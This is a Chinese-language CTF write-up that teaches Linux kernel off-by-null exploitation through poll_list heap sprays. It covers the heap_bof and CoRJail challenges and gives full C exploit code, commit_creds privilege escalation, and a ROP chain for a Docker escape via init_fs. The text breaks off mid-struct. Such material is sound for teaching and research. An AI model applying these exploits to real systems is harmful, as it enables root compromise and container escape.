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本文我们通过我们的老朋友heap_bof来讲解Linux kernel中off-by-null的利用手法。在通过讲解另一道相对来说比较困难的kernel off-by-null + docker escape来深入了解这种漏洞的利用手法。（没了解过docker逃逸的朋友也可以看懂，毕竟有了root权限后，docker逃逸就变的相对简单了）。
我们还是使用上一篇的例题heap_bof来讲解这种利用手法，现在我们假设这道题没有提供free，并且只有单字节溢出，并且溢出的单字节只能是NULL，那么我们应该怎麼去利用呢？
boot.sh
qemu-system-x86_64 \
-initrd rootfs.img \
-kernel bzImage \
-m 1G \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \
-monitor /dev/null \
-s \
-cpu kvm64 \
-smp cores=1,threads=2 \
--nographic
poll系统调用
/*
* @fds: pollfd类型的一个数组
* @nfds: 前面的参数fds中条目的个数
* @timeout: 事件发生的毫秒数
*/
int poll(struct pollfd *fds, nfds_t nfds, int timeout);poll_list 结构体对象是在调用 poll() 时分配，该调用可以监视 1 个或多个文件描述符的活动。
struct pollfd {
int fd;
short events;
short revents;
};
struct poll_list {
struct poll_list *next; // 指向下一个poll_list
int len; // 对应于条目数组中pollfd结构的数量
struct pollfd entries[]; // 存储pollfd结构的数组
};poll_list 结构如下图所示，前 30 个 poll_fd 在栈上，后面的都在堆上，最多 510 个 poll_fd 在一个堆上的 poll_list 上，堆上的 poll_list 最大为 0x1000。
poll_list 分配/释放
do_sys_poll 函数完成 poll_list 的分配和释放。poll_list 的是超时自动释放的，我们可以指定 poll_list 的释放时间。
//(4096-16)/8 = 510(堆上存放pollfd最大数量)
//(256-16)/8 = 30 (栈上存放pollfd最大数量)
[...]
static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
struct timespec64 *end_time)
{
struct poll_wqueues table;
int err = -EFAULT, fdcount, len;
/* Allocate small arguments on the stack to save memory and be
faster - use long to make sure the buffer is aligned properly
on 64 bit archs to avoid unaligned access */
/*
* [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry
*/
long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
struct poll_list *const head = (struct poll_list *)stack_pps;
struct poll_list *walk = head;
unsigned long todo = nfds;
if (nfds > rlimit(RLIMIT_NOFILE))
return -EINVAL;
/*
* [2] 前30个 pollfd entry 先存放在栈上，节省内存和时间
*/
len = min_t(unsigned int, nfds, N_STACK_PPS);
for (;;) {
walk->next = NULL;
walk->len = len;
if (!len)
break;
if (copy_from_user(walk->entries, ufds + nfds-todo, sizeof(struct pollfd) * walk->len))
goto out_fds;
todo -= walk->len;
if (!todo)
break;
/*
* [3] 如果提交超过30个 pollfd entries，就会把多出来的 pollfd 放在内核堆上。
* 每个page 最多存 POLLFD_PER_PAGE (510) 个entry,
* 超过这个数，则分配新的 poll_list, 依次循环直到存下所有传入的 entry
*/
len = min(todo, POLLFD_PER_PAGE);
/*
* [4] 只要控制好被监控的文件描述符数量，就能控制分配size，从 kmalloc-32 到 kmalloc-4k
*/
walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL);
if (!walk) {
err = -ENOMEM;
goto out_fds;
}
}
poll_initwait(&table);
/*
* [5] 分配完 poll_list 对象后，调用 do_poll() 来监控这些文件描述符，直到发生特定 event 或者超时。
* 这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长，超时后自动释放。
*/
fdcount = do_poll(head, &table, end_time);
poll_freewait(&table);
if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)
goto out_fds;
for (walk = head; walk; walk = walk->next) {
struct pollfd *fds = walk->entries;
int j;
for (j = walk->len; j; fds++, ufds++, j--)
unsafe_put_user(fds->revents, &ufds->revents, Efault);
}
user_write_access_end();
err = fdcount;
out_fds:
walk = head->next;
while (walk) { // [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用
struct poll_list *pos = walk;
walk = walk->next;
kfree(pos);
}
return err;
Efault:
user_write_access_end();
err = -EFAULT;
goto out_fds;
}我们可以去找到一些结构体，其头 8 字节是一个指针，然后利用 off by null 去损坏该指针，比如使得 0xXXXXa0 变成 0xXXXX00，然后就可以考虑利用堆喷去构造 UAF 了。
详细流程
首先分配 kmalloc-4096 大小的结构题在ptr[0]；
然后构造这样的poll_list结构体。
利用off-by-null将poll_list->next的最后一个字节改为空。然后大量分配kmalloc-32的obj内存，这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合，并且 32 大小的 object 其低字节是可能为 \x00 的，其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。运气好可以被我们篡改后的poll_list->next指到。但对于这道题来说我们没有足够的堆块用于堆喷，所以成功率是极低的。
等待poll_list线程执行完毕，并且我们分配的kmalloc-32被错误释放，分配大量的seq_operations，运气好可以正好被分配到我们释放的kmalloc-32，形成UAF，这样我们就可以利用UAF修改seq_operations->start指针指向提权代码。
提权可以参考上一篇文章，利用栈上的残留值来bypass kaslr。
char buf[0x20];
int bof_fd;
int key_id[KEY_NUM];
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
unsigned long idx; // 表示 ptr 数组的 索引
};
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
void get_shell(void) {
system("/bin/sh");
}
void qword_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/*--------------------------------------------------------------------------------------------------*/
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
typedef unsigned long long u64;
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[0] __aligned(__alignof__(u64)); /* actual data */
};
int key_alloc(int id, void *payload, int payload_len) {
char description[0x10] = {};
sprintf(description, "pwn_%d", id);
return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}
int key_update(int id, void *payload, size_t plen) {
return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}
int key_read(int id, void *bufer, size_t buflen) {
return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}
int key_revoke(int id) {
return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}
int key_unlink(int id) {
return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}
/*--------------------------------------------------------------------------------------------------*/
pthread_t tid[40];
typedef struct {
int nfds, timer;
} poll_args;
struct poll_list {
struct poll_list *next;
int len;
struct pollfd entries[];
};
void* alloc_poll_list(void *args) {
int nfds = ((poll_args *) args)->nfds;
int timer = ((poll_args *) args)->timer;
struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
for (int i = 0; i < nfds; i++) {
pfds[i].fd = open("/etc/passwd", O_RDONLY);
pfds[i].events = POLLERR;
}
poll(pfds, nfds, timer);
}
void* create_poll_list(size_t size, int timer, int i) {
poll_args *args = calloc(1, sizeof(poll_args));
args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd) + N_STACK_PPS;
args->timer = timer;
pthread_create(&tid[i], NULL, alloc_poll_list, args);
}
/*--------------------------------------------------------------------------------------------------*/
struct list_head {
struct list_head *next, *prev;
};
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};
struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_bufer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};
/*--------------------------------------------------------------------------------------------------*/
void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
void *init_cred = (void *) 0xFFFFFFFF81E496C0;
size_t user_rip = (size_t) get_shell;
size_t kernel_offset;
void get_root() {
__asm__(
"mov rax, [rsp + 8];"
"mov kernel_offset, rax;"
);
kernel_offset -= 0xffffffff81229378;
commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
init_cred = (void *) ((size_t) init_cred + kernel_offset);
commit_creds(init_cred);
__asm__(
"swapgs;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
/*--------------------------------------------------------------------------------------------------*/
int main() {
save_status();
signal(SIGSEGV, (void *) get_shell);
bof_fd = open("dev/bof", O_RDWR);
int seq_fd[SEQ_NUM];
printf("[*] try to alloc_kmalloc-4096\n");
size_t* mem = malloc(0x1010);
memset(mem, '\xff', 0x1010);
struct param p = {0x1000, (char*)mem, 0};
ioctl(bof_fd, BOF_MALLOC, &p);
printf("[*] try to spary kmalloc-32\n");
p.len = 0x20;
for (int i = 1; i < 20; ++i)
{
p.idx = i;
memset(mem, i, 0x20);
memset(mem, 0, 0x18);
ioctl(bof_fd, BOF_MALLOC, &p);
ioctl(bof_fd, BOF_EDIT, &p);
}
printf("[*] try to alloc_poll_list\n");
for (int i = 0; i < 14; ++i)
{
create_poll_list(PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000, i);
}
printf("[*] try to spary kmalloc-32\n");
p.len = 0x20;
for (int i = 20; i < 40; ++i)
{
p.idx = i;
memset(mem, i, 0x20);
memset(mem, 0, 0x18);
ioctl(bof_fd, BOF_MALLOC, &p);
ioctl(bof_fd, BOF_EDIT, &p);
}
sleep(1);
// 调试用代码
// p.len = 0x1010;
// p.idx = 0;
// ioctl(bof_fd, BOF_READ, &p);
// printf("[*] p->buf == %p\n", (size_t*)mem[0x1008/8]);
p.len = 0x1001;
p.idx = 0;
memset(mem, '\x00', 0x1001);
ioctl(bof_fd, BOF_EDIT, &p);
void *res;
for (int i = 0; i < 14; ++i)
{
printf("[*] wating for poll end\n");
pthread_join(tid[i], &res);
}
for (int i = 0; i < 256; ++i)
{
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
}
sleep(1);
for (int i = 1; i < 40; ++i)
{
p.idx = i;
p.len = 0x20;
ioctl(bof_fd, BOF_READ, &p);
printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
mem[0] = (size_t*)get_root;
mem[1] = (size_t*)get_root;
mem[2] = (size_t*)get_root;
mem[3] = (size_t*)get_root;
ioctl(bof_fd, BOF_EDIT, &p);
}
for (int i = 1; i < 40; ++i)
{
p.idx = i;
p.len = 0x20;
ioctl(bof_fd, BOF_READ, &p);
printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
}
for (int i = 0; i < 256; i++) {
read(seq_fd[i], p.buf, 1);
}
return 0;
}我们可以使用 Guestfish 工具读取和修改 qcow2 文件。
run_challenge.sh
qemu-system-x86_64 \
-m 1G \
-nographic \
-no-reboot \
-kernel bzImage \
-append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on" \
-hda coros.qcow2 \
-snapshot \
-monitor /dev/null \
-cpu qemu64,+smep,+smap,+rdrand \
-smp cores=4 \
--enable-kvminit脚本
查看服务进程/etc/systemd/system/init.service；
Description=Initialize challenge
[Service]
Type=oneshot
ExecStart=/usr/local/bin/init
[Install]
WantedBy=multi-user.target查看 /usr/local/bin/init 脚本;
cat /usr/local/bin/init
USER=user
FLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}')
useradd --create-home --shell /bin/bash $USER
echo "export PS1='\[\033[01;31m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# '" >> /root/.bashrc
echo "export PS1='\[\033[01;35m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '" >> /home/$USER/.bashrc
chmod -r 0700 /home/$USER
mv /root/temp /root/$FLAG
chmod 0400 /root/$FLAGpassword
❯ guestfish --rw -a coros.qcow2
><fs> run
><fs> list-filesystems
/dev/sda: ext4
><fs> mount /dev/sda /
><fs> cat /etc/password
libguestfs: error: download: /etc/password: No such file or directory
><fs> cat /etc/passwd
root:x:0:0:root:/root:/usr/local/bin/jail
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
......root_shell
查看root用户的/usr/local/bin/jail;
><fs> cat /usr/local/bin/jail
echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
/usr/bin/docker run -it --user user \
--hostname CoRJail \
--security-opt seccomp=/etc/docker/corjail.json \
-v /proc/cormon:/proc_rw/cormon:rw corcontainer
/bin/bash
/usr/sbin/poweroff -f发现其启动root的 shell 后是首先调用 docker来构建了一个容器然后关闭自身，在那之后我们起的虚拟环境就是处于该docker容器当中。
为了方便调试，我们可以使用edit将其修改为:
><fs> edit /usr/local/bin/jail
><fs> cat /usr/local/bin/jail
echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
cp /exploit /home/user || echo "[!] exploit not found, skipping"
chown -R user:user /home/user
echo 0 > /proc/sys/kernel/kptr_restrict
/usr/bin/docker run -it --user root \
--hostname CoRJail \
--security-opt seccomp=/etc/docker/corjail.json \
# 允许容器能够调用与日志相关的系统调用
--cap-add CAP_SYSLOG \
# 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon，并且以读写模式挂载。
-v /proc/cormon:/proc_rw/cormon:rw \
# 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host
-v /home/user/:/home/user/host \
corcontainer
/bin/bash
/usr/sbin/poweroff -fedit 的用法和 vim 一样。
后面我们上传 exp 的时候可以使用 upload 命令，其格式如下:
><fs> help upload
NAME
upload - upload a file from the local machine
SYNOPSIS
upload filename remotefilename
DESCRIPTION
Upload local file filename to remotefilename on the filesystem.
filename can also be a named pipe.
See also "download".kernel_patch
diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
--- a/arch/x86/entry/syscall_64.c 2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/entry/syscall_64.c 2022-07-02 12:34:11.237778657 +0200
#define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,
+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
+EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
+
asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
/*
* Smells like a compiler bug -- it doesn't work
diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
--- a/arch/x86/include/asm/syscall_wrapper.h 2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/include/asm/syscall_wrapper.h 2022-07-02 12:34:11.237778657 +0200
* SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI()
* macros to work correctly.
*/
-#define SYSCALL_DEFINE0(sname) \
+#define __SYSCALL_DEFINE0(sname) \
SYSCALL_METADATA(_##sname, 0); \
static long __do_sys_##sname(const struct pt_regs *__unused); \
__X64_SYS_STUB0(sname) \
diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h
--- a/include/linux/syscalls.h 2022-06-29 08:59:54.000000000 +0200
+++ b/include/linux/syscalls.h 2022-07-02 12:34:11.237778657 +0200
#include <linux/key.h>
#include <linux/personality.h>
#include <trace/syscall.h>
+#include <asm/syscall.h>
#ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER
/*
}
#endif
-#ifndef SYSCALL_DEFINE0
-#define SYSCALL_DEFINE0(sname) \
+#ifndef __SYSCALL_DEFINE0
+#define __SYSCALL_DEFINE0(sname) \
SYSCALL_METADATA(_##sname, 0); \
asmlinkage long sys_##sname(void); \
ALLOW_ERROR_INJECTION(sys_##sname, ERRNO); \
#define SYSCALL_DEFINE_MAXARGS 6
-#define SYSCALL_DEFINEx(x, sname, ...) \
- SYSCALL_METADATA(sname, x, __VA_ARGS__) \
- __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
+DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
+
+#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
+ static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
+
+#define __SYSCALL_COUNT(syscall_nr) \
+ this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
+
+#define SYSCALL_COUNT_FUNCx(sname, x, ...) \
+ { \
+ __SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr); \
+ return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__)); \
+ } \
+ static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
+
+#define SYSCALL_COUNT_DECLARE0(sname) \
+ static inline long __count_sys_##sname(void);
+
+#define SYSCALL_COUNT_FUNC0(sname) \
+ { \
+ __SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr); \
+ return __count_sys_##sname(); \
+ } \
+ static inline long __count_sys_##sname(void)
+
+#define SYSCALL_DEFINEx(x, sname, ...) \
+ SYSCALL_METADATA(sname, x, __VA_ARGS__) \
+ SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__) \
+ __SYSCALL_DEFINEx(x, sname, __VA_ARGS__) \
+ SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
+
+#define SYSCALL_DEFINE0(sname) \
+ SYSCALL_COUNT_DECLARE0(sname) \
+ __SYSCALL_DEFINE0(sname) \
+ SYSCALL_COUNT_FUNC0(sname)
#define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)
diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
--- a/kernel/trace/trace_syscalls.c 2022-06-29 08:59:54.000000000 +0200
+++ b/kernel/trace/trace_syscalls.c 2022-07-02 12:34:32.902426748 +0200
return NULL;
}
-static struct syscall_metadata *syscall_nr_to_meta(int nr)
+struct syscall_metadata *syscall_nr_to_meta(int nr)
{
if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))
return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
return syscalls_metadata[nr];
}
+EXPORT_SYMBOL(syscall_nr_to_meta);
const char *get_syscall_name(int syscall)
{
return entry->name;
}
+EXPORT_SYMBOL(get_syscall_name);
static enum print_line_t
print_syscall_enter(struct trace_iterator *iter, int flags,
其中
+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);为每个CPU都创建一个 __per_cpu_syscall_count变量用来记录系统调用的次数。
seccomp.json 保存了系统调用的白名单。
{
"defaultAction": "SCMP_ACT_ERRNO",
"defaultErrnoRet": 1,
"syscalls": [
{
"names": [ "_llseek", "_newselect", "accept", "accept4", "access", ],
"action": "SCMP_ACT_ALLOW"
},
{
"names": [ "clone" ],
"action": "SCMP_ACT_ALLOW",
"args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]
}
]
}根据README.md提示，可以在proc_rw/cormon看到使用到的系统调用在各个CPU当中的情况。
root@CoRJail:/# cat /proc_rw/cormon
CPU0 CPU1 CPU2 CPU3 Syscall (NR)
9 16 25 18 sys_poll (7)
0 0 0 0 sys_fork (57)
66 64 79 60 sys_execve (59)
0 0 0 0 sys_msgget (68)
0 0 0 0 sys_msgsnd (69)
0 0 0 0 sys_msgrcv (70)
0 0 0 0 sys_ptrace (101)
15 19 11 6 sys_setxattr (188)
27 24 11 20 sys_keyctl (250)
0 0 2 2 sys_unshare (272)
0 1 0 0 sys_execveat (322)也可以指定系统调用。
root@CoRJail:/# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon
root@CoRJail:/# cat /proc_rw/cormon
CPU0 CPU1 CPU2 CPU3 Syscall (NR)
0 0 0 0 sys_msgsnd (69)
0 0 0 0 sys_msgrcv (70)src.c
可以看到 write 存在明显的off-by-null。
static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos)
{
loff_t offset = *ppos;
char *syscalls;
size_t len;
if (offset < 0)
return -EINVAL;
if (offset >= PAGE_SIZE || !count)
return 0;
len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;
syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);
if (!syscalls)
{
printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
return -ENOMEM;
}
if (copy_from_user(syscalls, ubuf, len))
{
printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
return -EFAULT;
}
syscalls[len] = '\x00';
if (update_filter(syscalls))
{
kfree(syscalls);
return -EINVAL;
}
kfree(syscalls);
return count;
}在 poll_list 利用方式中：
先通过 add_key() 堆喷大量 32 字节大小的 user_key_payload。
这里只所以是
32字节大小是因为要与后面的seq_operations配合，并且32大小的object其低字节是可能为\x00的，其低字节为0x20、0x40、0x80、0xa0、0xc0、0xe0、0x00。
然后创建 poll_list 链，其中 poll_list.next 指向的是一个 0x20 大小的 object。
触发 off by null，修改 poll_list.next 的低字节为 \x00，这里可能导致其指向某个 user_key_payload。
然后等待 timeout 后， 就会导致某个 user_key_payload 被释放，导致 UAF。
详细流程如下：
首先，我们要打开有漏洞的模块。使用bind_core()将当前进程绑定到CPU0，因为我们是在一个多核环境中工作，而slab是按CPU分配的。
void bind_core(bool fixed, bool thread) {
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
if (thread) {
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
} else {
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
}喷射大量 0x20 大小的 user_key_payload 和下图所示 0x1000 + 0x20 的 poll_list 。
此时内存中 object 的分布如下图所示，其中黄色的是 user_key_payload ，绿色的是 poll_list ，白色是空闲 object 。
通过 off by null 修改 0x1000 大小的 poll_list ，使得指向 0x20 大小 poll_list 的 next 指针指向 user_key_payload 。之后释放所有的 poll_list 结构，被 next 指向的的 user_key_payload 也被释放，形成 UAF 。
注意，为了确保释放 poll_list 不出错，要保证 0x20 大小的 poll_list 的 next 指针为 NULL 。也就是 user_key_payload 的前 8 字节为 NULL 。由于 user_key_payload 的前 8 字节没有初始化，因此可以在申请 user_key_payload 前先用 setxattr 把前 8 字节置为 NULL 。
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
int error;
void *kvalue = NULL;
char kname[XATTR_NAME_MAX + 1];
[...]
if (size) {
[...]
kvalue = kvmalloc(size, GFP_KERNEL); // 申请kmalloc-x
if (!kvalue)
return -ENOMEM;
// 修改kmalloc-x内容
if (copy_from_user(kvalue, value, size)) {
error = -EFAULT;
goto out;
}
[...]
}
error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
kvfree(kvalue); // 释放kmalloc-x
return error;
}另外实测 kmalloc-32 的 freelist 偏移为 16 字节，不会覆盖 next 指针。
喷射 seq_operations 利用 seq_operations->next 的低二字节覆盖 user_key_payload->datalen 实现 user_key_payload 越界读， user_key_payload->data 前 8 字节被覆盖为 seq_operations->show ，可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload 是否被 seq_operations 覆盖。
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[0] __aligned(__alignof__(u64)); /* actual data */
};
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
之后释放不能越界读的 user_key_payload 并喷射 tty_file_private 填充产生的空闲 object 。之后再次越界读泄露 tty_file_private->tty 指向的 tty_struct ，我们定义这个地址为 target_object 。
释放 seq_operations ，喷射 0x20 大小的 poll_list 。现在UAF的堆块被user_key_payload和poll_list占领。在 poll_list 被释放前，释放劫持的 user_key_payload ，利用 setxattr 修改 poll_list 的 next 指针指向 target_object - 0x18，方便后续伪造pipe_buffer 。为了实现 setxattr 的喷射效果，setxattr 修改过的 object 通过申请 user_key_payload 劫持，确保下次 setxattr 修改的是另外的 object。
打开
/dev/ptmx时会分配tty_file_private并且该结构体的tty指针会指向tty_struct。int tty_alloc_file(struct file *file)
{
struct tty_file_private *priv;
priv = kmalloc(sizeof(*priv), GFP_KERNEL);
if (!priv)
return -ENOMEM;
file->private_data = priv;
return 0;
}
// kmalloc-32 | GFP_KERNEL
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};
趁 poll_list 还没有释放，释放 tty_struct 并申请 pipe_buffer ，将 target_object(tty_struct) 替换为 pipe_buffer 。
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};之后 poll_list 释放导致 target_object - 0x18 区域释放。我们可以申请一个 0x400 大小的 user_key_payload 劫持 target_object - 0x18 ，从而劫持 pipe_buffer->ops 实现控制流劫持。
docker逃逸
具体实现为修改 task_struct 的 fs 指向 init_fs 。用 find_task_by_vpid() 来定位Docker容器任务，我们用switch_task_namespaces()。但这还不足以从容器中逃逸。在Docker容器中，setns() 被seccomp默认屏蔽了，我们可以克隆 init_fs 结构，然后用find_task_by_vpid()定位当前任务，用 gadget 手动安装新fs_struct。
// commit_creds(&init_creds)
*rop++ = pop_rdi_ret;
*rop++ = init_cred;
*rop++ = commit_creds;
// current = find_task_by_vpid(getpid())
*rop++ = pop_rdi_ret;
*rop++ = getpid();
*rop++ = find_task_by_vpid;
// current->fs = &init_fs
*rop++ = pop_rcx_ret;
*rop++ = 0x6e0;
*rop++ = add_rax_rcx_ret;
*rop++ = pop_rbx_ret;
*rop++ = init_fs;
*rop++ = mov_mmrax_rbx_pop_rbx_ret;
rop++;
int randint(int min, int max) {
return min + (rand() % (max - min));
}
void bind_core(bool fixed, bool thread) {
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
if (thread) {
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
} else {
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
}
void qword_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
bool is_kernel_text_addr(size_t addr) {
return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFFFEFFFFFF;
// return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF;
}
bool is_dir_mapping_addr(size_t addr) {
return addr >= 0xFFFF888000000000 && addr <= 0xFFFFc87FFFFFFFFF;
}
const size_t kernel_addr_list[] = {
0xffffffff813275c0,
0xffffffff812d4320,
0xffffffff812d4340,
0xffffffff812d4330
};
size_t kernel_offset_query(size_t kernel_text_leak) {
if (!is_kernel_text_addr(kernel_text_leak)) {
return INVALID_KERNEL_OFFSET;
}
for (int i = 0; i < sizeof(kernel_addr_list) / sizeof(kernel_addr_list[0]); i++) {
if (!((kernel_text_leak ^ kernel_addr_list[i]) & 0xFFF)
&& (kernel_text_leak - kernel_addr_list[i]) % 0x100000 == 0) {
return kernel_text_leak - kernel_addr_list[i];
}
}
printf("[-] unknown kernel addr: %#lx\n", kernel_text_leak);
return INVALID_KERNEL_OFFSET;
}
size_t search_kernel_offset(void *buf, int len) {
size_t *search_buf = buf;
for (int i = 0; i < len / 8; i++) {
size_t kernel_offset = kernel_offset_query(search_buf[i]);
if (kernel_offset != INVALID_KERNEL_OFFSET) {
printf("[+] kernel leak addr: %#lx\n", search_buf[i]);
printf("[+] kernel offset: %#lx\n", kernel_offset);
return kernel_offset;
}
}
return INVALID_KERNEL_OFFSET;
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
typedef struct {
int nfds, timer;
} poll_args;
struct poll_list {
